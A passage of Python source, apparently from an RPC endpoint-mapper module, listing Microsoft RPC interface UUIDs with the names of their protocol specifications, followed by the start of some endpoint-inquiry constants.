Management Protocol',\n'52BA97E7-9364-4134-B9CB-F8415213BDD8':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'E2842C88-07C3-4EB0-B1A9-D3D95E76FEF2':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'312CC019-D5CD-4CA7-8C10-9E0A661F147E':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'345B026B-5802-4E38-AC75-795E08B0B83F':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'442931D5-E522-4E64-A181-74E98A4E1748':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'1B1C4D1C-ABC4-4D3A-8C22-547FBA3AA8A0':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'56E65EA5-CDFF-4391-BA76-006E42C2D746':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'E645744B-CAE5-4712-ACAF-13057F7195AF':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'FE7F99F9-1DFB-4AFB-9D00-6A8DD0AABF2C':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'81FE3594-2495-4C91-95BB-EB5785614EC7':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'F093FE3D-8131-4B73-A742-EF54C20B337B':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'28BC8D5E-CA4B-4F54-973C-ED9622D2B3AC':'[MS-ISTM]: iSCSI Software Target Management Protocol',\n'22E5386D-8B12-4BF0-B0EC-6A1EA419E366':'[MS-LREC]: Live Remote Event Capture (LREC) Protocol',\n'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAD]: Local Security Authority (Domain Policy) Remote Protocol',\n'12345778-1234-ABCD-EF00-0123456789AB':'[MS-LSAT]: Local Security Authority (Translation Methods) Remote',\n'708CCA10-9569-11D1-B2A5-0060977D8118':'[MS-MQDS]: Message Queuing (MSMQ):',\n'77DF7A80-F298-11D0-8358-00A024C480A8':'[MS-MQDS]: Message Queuing (MSMQ):',\n'76D12B80-3467-11D3-91FF-0090272F9EA3':'[MS-MQMP]: Message Queuing (MSMQ):',\n'FDB3A030-065F-11D1-BB9B-00A024EA5525':'[MS-MQMP]: Message Queuing (MSMQ):',\n'41208EE0-E970-11D1-9B9E-00E02C064C39':'[MS-MQMR]: Message Queuing (MSMQ):',\n'1088A980-EAE5-11D0-8D9B-00A02453C337':'[MS-MQQP]: Message Queuing (MSMQ):',\n'1A9134DD-7B39-45BA-AD88-44D01CA47F28':'[MS-MQRR]: Message Queuing (MSMQ):',\n'17FDD703-1827-4E34-79D4-24A55C53BB37':'[MS-MSRP]: Messenger Service Remote Protocol',\n'12345678-1234-ABCD-EF00-01234567CFFB':'[MS-NRPC]: Netlogon Remote Protocol',\n'00020411-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020401-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020403-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020412-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020402-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020400-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'00020404-0000-0000-C000-000000000046':'[MS-OAUT]: OLE Automation Protocol',\n'784B693D-95F3-420B-8126-365C098659F2':'[MS-OCSPA]: Microsoft OCSP Administration Protocol',\n'AE33069B-A2A8-46EE-A235-DDFD339BE281':'[MS-PAN]: Print System Asynchronous Notification Protocol',\n'0B6EDBFA-4A24-4FC6-8A23-942B1ECA65D1':'[MS-PAN]: Print System Asynchronous Notification Protocol',\n'76F03F96-CDFD-44FC-A22C-64950A001209':'[MS-PAR]: Print System Asynchronous Remote Protocol',\n'DA5A86C5-12C2-4943-AB30-7F74A813D853':'[MS-PCQ]: Performance Counter Query Protocol',\n'03837510-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837543-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837533-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837541-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837544-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837524-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'0383753A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837534-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'0383750B-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'0383751A-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837512-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'0383753D-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837506-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837520-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'038374FF-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837514-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837502-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'03837516-098B-11D8-9414-505054503030':'[MS-PLA]: Performance Logs and Alerts Protocol',\n'0B1C2170-5732-4E0E-8CD3-D9B16F3B84D7':'[MS-RAA]: Remote Authorization API Protocol',\n'F120A684-B926-447F-9DF4-C966CB785648':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'833E4010-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'833E4200-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'3C3A70A7-A468-49B9-8ADA-28E11FCCAD5D':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'833E4100-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'833E41AA-AFF7-4AC3-AAC2-9F24C1457BCE':'[MS-RAI]: Remote Assistance Initiation Protocol',\n'C323BE28-E546-4C23-A81B-D6AD8D8FAC7B':'[MS-RAINPS]: Remote Administrative Interface:',\n'83E05BD5-AEC1-4E58-AE50-E819C7296F67':'[MS-RAINPS]: Remote Administrative Interface:',\n'45F52C28-7F9F-101A-B52B-08002B2EFABE':'[MS-RAIW]: Remote Administrative Interface:',\n'811109BF-A4E1-11D1-AB54-00A0C91E9B45':'[MS-RAIW]: Remote Administrative Interface:',\n'A35AF600-9CF4-11CD-A076-08002B2BD711':'[MS-RDPESC]: Remote Desktop Protocol:',\n'12345678-1234-ABCD-EF00-0123456789AB':'[MS-RPRN]: Print System Remote Protocol',\n'66A2DB21-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'66A2DB1B-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'66A2DB20-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'66A2DB22-D706-11D0-A37B-00C04FC9DA04':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'8F09F000-B7ED-11CE-BBD2-00001A181CAD':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'5FF9BDF6-BD91-4D8B-A614-D6317ACC8DD8':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'20610036-FA22-11CF-9823-00A0C911E5DF':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'67E08FC2-2984-4B62-B92E-FC1AAE64BBBB':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'6139D8A4-E508-4EBB-BAC7-D7F275145897':'[MS-RRASM]: Routing and Remote Access Server (RRAS) Management',\n'338CD001-2244-31F1-AAAA-900038001003':'[MS-RRP]: Windows Remote Registry Protocol',\n'3BBED8D9-2C9A-4B21-8936-ACB2F995BE6C':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'8DA03F40-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'D61A27C6-8F53-11D0-BFA0-00A024151983':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'081E7188-C080-4FF3-9238-29F66D6CABFD':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'895A2C86-270D-489D-A6C0-DC2A9B35280E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'D02E4BE0-3419-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'DB90832F-6910-4D46-9F5E-9FD6BFA73903':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'4E934F30-341A-11D1-8FB1-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'879C8BBE-41B0-11D1-BE11-00C04FB6BF70':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'00000000-0000-0000-C000-000000000046':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'69AB7050-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'7D07F313-A53F-459A-BB12-012C15B1846E':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'BB39332C-BFEE-4380-AD8A-BADC8AFF5BB6':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'B057DC50-3059-11D1-8FAF-00A024CB6019':'[MS-RSMP]: Removable Storage Manager (RSM) Remote Protocol',\n'894DE0C0-0D55-11D3-A322-00C04FA321A1':'[MS-RSP]: Remote Shutdown Protocol',\n'D95AFE70-A6D5-4259-822E-2C84DA1DDB0D':'[MS-RSP]: Remote Shutdown Protocol',\n'12345778-1234-ABCD-EF00-0123456789AC':'[MS-SAMR]: Security Account Manager (SAM) Remote Protocol',\n'01954E6B-9254-4E6E-808C-C9E05D007696':'[MS-SCMP]: Shadow Copy Management Protocol',\n'FA7DF749-66E7-4986-A27F-E2F04AE53772':'[MS-SCMP]: Shadow Copy Management Protocol',\n'214A0F28-B737-4026-B847-4F9E37D79529':'[MS-SCMP]: Shadow Copy Management Protocol',\n'AE1C7110-2F60-11D3-8A39-00C04F72D8E3':'[MS-SCMP]: Shadow Copy Management Protocol',\n'367ABB81-9844-35F1-AD32-98F038001003':'[MS-SCMR]: Service Control Manager Remote Protocol',\n'4B324FC8-1670-01D3-1278-5A47BF6EE188':'[MS-SRVS]: Server Service Remote Protocol',\n'CCD8C074-D0E5-4A40-92B4-D074FAA6BA28':'[MS-SWN]: Service Witness Protocol',\n'1A1BB35F-ABB8-451C-A1AE-33D98F1BEF4A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'1C60A923-2D86-46AA-928A-E7F3E37577AF':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'FDF8A2B9-02DE-47F4-BC26-AA85AB5E5267':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'112B1DFF-D9DC-41F7-869F-D67FEE7CB591':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'152EA2A8-70DC-4C59-8B2A-32AA3CA0DCAC':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'16A18E86-7F6E-4C20-AD89-4FFC0DB7A96A':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'3C745A97-F375-4150-BE17-5950F694C699':'[MS-TPMVSC]: Trusted Platform Module (TPM) Virtual Smart Card',\n'2F5F6521-CA47-1068-B319-00DD010662DB':'[MS-TRP]: Telephony Remote Protocol',\n'2F5F6520-CA46-1067-B319-00DD010662DA':'[MS-TRP]: Telephony Remote Protocol',\n'1FF70682-0A51-30E8-076D-740BE8CEE98B':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',\n'378E52B0-C0A9-11CF-822D-00AA0051E40F':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',\n'86D35949-83C9-4044-B424-DB363231FD0C':'[MS-TSCH]: Task Scheduler Service Remoting Protocol',\n'44E265DD-7DAF-42CD-8560-3CDB6E7A2729':'[MS-TSGU]: Terminal Services Gateway Server Protocol',\n'034634FD-BA3F-11D1-856A-00A0C944138C':'[MS-TSRAP]: Telnet Server Remote Administration Protocol',\n'497D95A6-2D27-4BF5-9BBD-A6046957133C':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'11899A43-2B68-4A76-92E3-A3D6AD8C26CE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'5CA4A760-EBB1-11CF-8611-00A0245420ED':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'BDE95FDF-EEE0-45DE-9E12-E5A61CD0D4FE':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'484809D6-4239-471B-B5BC-61DF8C23AC48':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'88143FD0-C28D-4B2B-8FEF-8D882F6A9390':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'1257B580-CE2F-4109-82D6-A9459D0BF6BC':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'53B46B02-C73B-4A3E-8DEE-B16B80672FC0':'[MS-TSTS]: Terminal Services Terminal Server Runtime Interface',\n'DDE02280-12B3-4E0B-937B-6747F6ACB286':'[MS-UAMG]: Update Agent Management Protocol',\n'112EDA6B-95B3-476F-9D90-AEE82C6B8181':'[MS-UAMG]: Update Agent Management Protocol',\n'144FE9B0-D23D-4A8B-8634-FB4457533B7A':'[MS-UAMG]: Update Agent Management Protocol',\n'70CF5C82-8642-42BB-9DBC-0CFD263C6C4F':'[MS-UAMG]: Update Agent Management Protocol',\n'49EBD502-4A96-41BD-9E3E-4C5057F4250C':'[MS-UAMG]: Update Agent Management Protocol',\n'7C907864-346C-4AEB-8F3F-57DA289F969F':'[MS-UAMG]: Update Agent Management Protocol',\n'46297823-9940-4C09-AED9-CD3EA6D05968':'[MS-UAMG]: Update Agent Management Protocol',\n'4CBDCB2D-1589-4BEB-BD1C-3E582FF0ADD0':'[MS-UAMG]: Update Agent Management Protocol',\n'8F45ABF1-F9AE-4B95-A933-F0F66E5056EA':'[MS-UAMG]: Update Agent Management Protocol',\n'6A92B07A-D821-4682-B423-5C805022CC4D':'[MS-UAMG]: Update Agent Management Protocol',\n'54A2CB2D-9A0C-48B6-8A50-9ABB69EE2D02':'[MS-UAMG]: Update Agent Management Protocol',\n'0D521700-A372-4BEF-828B-3D00C10ADEBD':'[MS-UAMG]: Update Agent Management Protocol',\n'C2BFB780-4539-4132-AB8C-0A8772013AB6':'[MS-UAMG]: Update Agent Management Protocol',\n'1518B460-6518-4172-940F-C75883B24CEB':'[MS-UAMG]: Update Agent Management Protocol',\n'81DDC1B8-9D35-47A6-B471-5B80F519223B':'[MS-UAMG]: Update Agent Management Protocol',\n'BC5513C8-B3B8-4BF7-A4D4-361C0D8C88BA':'[MS-UAMG]: Update Agent Management Protocol',\n'C1C2F21A-D2F4-4902-B5C6-8A081C19A890':'[MS-UAMG]: Update Agent Management Protocol',\n'07F7438C-7709-4CA5-B518-91279288134E':'[MS-UAMG]: Update Agent Management Protocol',\n'C97AD11B-F257-420B-9D9F-377F733F6F68':'[MS-UAMG]: Update Agent Management Protocol',\n'3A56BFB8-576C-43F7-9335-FE4838FD7E37':'[MS-UAMG]: Update Agent Management Protocol',\n'615C4269-7A48-43BD-96B7-BF6CA27D6C3E':'[MS-UAMG]: Update Agent Management Protocol',\n'004C6A2B-0C19-4C69-9F5C-A269B2560DB9':'[MS-UAMG]: Update Agent Management Protocol',\n'7366EA16-7A1A-4EA2-B042-973D3E9CD99B':'[MS-UAMG]: Update Agent Management Protocol',\n'A376DD5E-09D4-427F-AF7C-FED5B6E1C1D6':'[MS-UAMG]: Update Agent Management Protocol',\n'23857E3C-02BA-44A3-9423-B1C900805F37':'[MS-UAMG]: Update Agent Management Protocol',\n'B383CD1A-5CE9-4504-9F63-764B1236F191':'[MS-UAMG]: Update Agent Management Protocol',\n'76B3B17E-AED6-4DA5-85F0-83587F81ABE3':'[MS-UAMG]: Update Agent Management Protocol',\n'0BB8531D-7E8D-424F-986C-A0B8F60A3E7B':'[MS-UAMG]: Update Agent Management Protocol',\n'91CAF7B0-EB23-49ED-9937-C52D817F46F7':'[MS-UAMG]: Update Agent Management Protocol',\n'673425BF-C082-4C7C-BDFD-569464B8E0CE':'[MS-UAMG]: Update Agent Management Protocol',\n'EFF90582-2DDC-480F-A06D-60F3FBC362C3':'[MS-UAMG]: Update Agent Management Protocol',\n'D9A59339-E245-4DBD-9686-4D5763E39624':'[MS-UAMG]: Update Agent Management Protocol',\n'9B0353AA-0E52-44FF-B8B0-1F7FA0437F88':'[MS-UAMG]: Update Agent Management Protocol',\n'503626A3-8E14-4729-9355-0FE664BD2321':'[MS-UAMG]: Update Agent Management Protocol',\n'85713FA1-7796-4FA2-BE3B-E2D6124DD373':'[MS-UAMG]: Update Agent Management Protocol',\n'816858A4-260D-4260-933A-2585F1ABC76B':'[MS-UAMG]: Update Agent Management Protocol',\n'27E94B0D-5139-49A2-9A61-93522DC54652':'[MS-UAMG]: Update Agent Management Protocol',\n'E7A4D634-7942-4DD9-A111-82228BA33901':'[MS-UAMG]: Update Agent Management Protocol',\n'D40CFF62-E08C-4498-941A-01E25F0FD33C':'[MS-UAMG]: Update Agent Management Protocol',\n'ED8BFE40-A60B-42EA-9652-817DFCFA23EC':'[MS-UAMG]: Update Agent Management Protocol',\n'A7F04F3C-A290-435B-AADF-A116C3357A5C':'[MS-UAMG]: Update Agent Management Protocol',\n'4A2F5C31-CFD9-410E-B7FB-29A653973A0F':'[MS-UAMG]: Update Agent Management Protocol',\n'BE56A644-AF0E-4E0E-A311-C1D8E695CBFF':'[MS-UAMG]: Update Agent Management Protocol',\n'918EFD1E-B5D8-4C90-8540-AEB9BDC56F9D':'[MS-UAMG]: Update Agent Management Protocol',\n'04C6895D-EAF2-4034-97F3-311DE9BE413A':'[MS-UAMG]: Update Agent Management Protocol',\n'15FC031C-0652-4306-B2C3-F558B8F837E2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'4DBCEE9A-6343-4651-B85F-5E75D74D983C':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'1E062B84-E5E6-4B4B-8A25-67B81E8F13E8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'2ABD757F-2851-4997-9A13-47D2A885D6CA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'9CBE50CA-F2D2-4BF4-ACE1-96896B729625':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'4DAA0135-E1D1-40F1-AAA5-3CC1E53221C3':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'3858C0D5-0F35-4BF5-9714-69874963BC36':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'40F73C8B-687D-4A13-8D96-3D7F2E683936':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'8F4B2F5D-EC15-4357-992F-473EF10975B9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'FC5D23E8-A88B-41A5-8DE0-2D2F73C5A630':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'B07FEDD4-1682-4440-9189-A39B55194DC5':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'72AE6713-DCBB-4A03-B36B-371F6AC6B53D':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'B6B22DA8-F903-4BE7-B492-C09D875AC9DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'538684E0-BA3D-4BC0-ACA9-164AFF85C2A9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'75C8F324-F715-4FE3-A28E-F9011B61A4A1':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'90681B1D-6A7F-48E8-9061-31B7AA125322':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'9882F547-CFC3-420B-9750-00DFBEC50662':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'83BFB87F-43FB-4903-BAA6-127F01029EEC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'EE2D5DED-6236-4169-931D-B9778CE03DC6':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'9723F420-9355-42DE-AB66-E31BB15BEEAC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'4AFC3636-DB01-4052-80C3-03BBCB8D3C69':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'D99BDAAE-B13A-4178-9FDB-E27F16B4603E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'D68168C9-82A2-4F85-B6E9-74707C49A58F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'13B50BFF-290A-47DD-8558-B7C58DB1A71A':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'6E6F6B40-977C-4069-BDDD-AC710059F8C0':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'9AA58360-CE33-4F92-B658-ED24B14425B8':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'E0393303-90D4-4A97-AB71-E9B671EE2729':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'07E5C822-F00C-47A1-8FCE-B244DA56FD06':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'8326CD1D-CF59-4936-B786-5EFC08798E25':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'1BE2275A-B315-4F70-9E44-879B3A2A53F2':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'0316560B-5DB4-4ED9-BBB5-213436DDC0D9':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'14FBE036-3ED7-4E10-90E9-A5FF991AFF01':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'3B69D7F5-9D94-4648-91CA-79939BA263BF':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'D5D23B6D-5A55-4492-9889-397A3C2D2DBC':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'88306BB2-E71F-478C-86A2-79DA200A0F11':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'118610B7-8D94-4030-B5B8-500889788E4E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'0AC13689-3134-47C6-A17C-4669216801BE':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'0818A8EF-9BA9-40D8-A6F9-E22833CC771E':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'6788FAF9-214E-4B85-BA59-266953616E09':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'B481498C-8354-45F9-84A0-0BDD2832A91F':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'10C5E575-7984-4E81-A56B-431F5F92AE42':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'38A0A9AB-7CC8-4693-AC07-1F28BD03C3DA':'[MS-VDS]: Virtual Disk Service (VDS) Protocol',\n'8FB6D884-2388-11D0-8C35-00C04FDA2795':'[MS-W32T]: W32Time Remote Protocol',\n'5422FD3A-D4B8-4CEF-A12E-E87D4CA22E90':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',\n'D99E6E70-FC88-11D0-B498-00A0C90312F3':'[MS-WCCE]: Windows Client Certificate Enrollment Protocol',\n'1A927394-352E-4553-AE3F-7CF4AAFCA620':'[MS-WDSC]: Windows Deployment Services Control Protocol',\n'6BFFD098-A112-3610-9833-46C3F87E345A':'[MS-WKST]: Workstation Service Remote Protocol',\n'F1E9C5B2-F59B-11D2-B362-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'423EC01E-2E35-11D2-B604-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'9556DC99-828C-11CF-A37E-00AA003240C7':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'F309AD18-D86A-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'9A653086-174F-11D2-B5F9-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'D4781CD6-E5D3-44DF-AD94-930EFE48A887':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'44ACA674-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'541679AB-2E5F-11D3-B34E-00104BCC4B4A':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'027947E1-D731-11CE-A357-000000000001':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'A359DEC5-E813-4834-8A2A-BA7F1D777D76':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'C49E32C6-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'C49E32C7-BC8B-11D2-85D4-00105A1F8304':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'2C9273E0-1DC3-11D3-B364-00105A1F8177':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'7C857801-7381-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'DC12A681-737F-11CF-884D-00AA004B2E24':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'8BC3F05E-D86B-11D0-A075-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'44ACA675-E8FC-11D0-A07C-00C04FB68820':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'1C1C45EE-4395-11D2-B60B-00104B703EFD':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'674B6698-EE92-11D0-AD71-00C04FD8FDFF':'[MS-WMI]: Windows Management Instrumentation Remote Protocol',\n'FC910418-55CA-45EF-B264-83D4CE7D30E0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'C5CEBEE2-9DF5-4CDD-A08C-C2471BC144B4':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'F31931A9-832D-481C-9503-887A0E6A79F0':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'21546AE8-4DA5-445E-987F-627FEA39C5E8':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'BC681469-9DD9-4BF4-9B3D-709F69EFE431':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'4F7CA01C-A9E5-45B6-B142-2332A1339C1D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'2A3EB639-D134-422D-90D8-AAA1B5216202':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'59602EB6-57B0-4FD8-AA4B-EBF06971FE15':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'481E06CF-AB04-4498-8FFE-124A0A34296D':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'E8BCFFAC-B864-4574-B2E8-F1FB21DFDC18':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'943991A5-B3FE-41FA-9696-7F7B656EE34B':'[MS-WSRM]: Windows System Resource Manager (WSRM) Protocol',\n'BBA9CB76-EB0C-462C-AA1B-5D8C34415701':'[MS-ADTS]: Active Directory Technical Specification',\n'906B0CE0-C70B-1067-B317-00DD010662DA':'[MS-CMPO]: MSDTC Connection Manager:',\n'E3514235-4B06-11D1-AB04-00C04FC2DCD2':'[MS-DRSR]: Directory Replication Service (DRS) Remote Protocol',\n'F6BEAFF7-1E19-4FBB-9F8F-B89E2018337C':'[MS-EVEN6]: EventLog Remoting Protocol',\n'D049B186-814F-11D1-9A3C-00C04FC9B232':'[MS-FRS1]: File Replication Service Protocol',\n'F5CC59B4-4264-101A-8C59-08002B2F8426':'[MS-FRS1]: File Replication Service Protocol',\n'5A7B91F8-FF00-11D0-A9B2-00C04FB6E6FC':'[MS-MSRP]: Messenger Service Remote Protocol',\n'F5CC5A18-4264-101A-8C59-08002B2F8426':'[MS-NSPI]: Name Service Provider Interface (NSPI) Protocol',\n'E33C0CC4-0482-101A-BC0C-02608C6BA218':'[MS-RPCL]: Remote Procedure Call Location Services Extensions',\n'AFA8BD80-7D8A-11C9-BEF4-08002B102989':'[MS-RPCE]: Remote Management Interface',\n'00000134-0000-0000-C000-000000000046':'[MS-DCOM]: Distributed Component Object Model (DCOM)',\n'18F70770-8E64-11CF-9AF1-0020AF6E72F4':'[MS-DCOM]: Distributed Component Object Model (DCOM)',\n'958F92D8-DA20-467A-BBE3-65E7E9B4EDCF':'[MS-TSGU]: Terminal Services Gateway Server Management Interface',\n'6050B110-CE87-4126-A114-50AEFCFC95F8':'[MS-DCOM]: Distributed Component Object Model (DCOM)',\n'1544F5E0-613C-11D1-93DF-00C04FD7BD09':'[MS-OXABREF]: Address Book Name Service Provider Interface (NSPI) Referral Protocol',\n'A4F1DB00-CA47-1067-B31F-00DD010662DA':'[MS-OXCRPC]: Wire Format Protocol',\n'5261574A-4572-206E-B268-6B199213B4E4':'[MS-OXCRPC]: Wire Format Protocol',\n}\n\n# Inquire Type\nRPC_C_EP_ALL_ELTS     = 0x0\nRPC_C_EP_MATCH_BY_IF  = 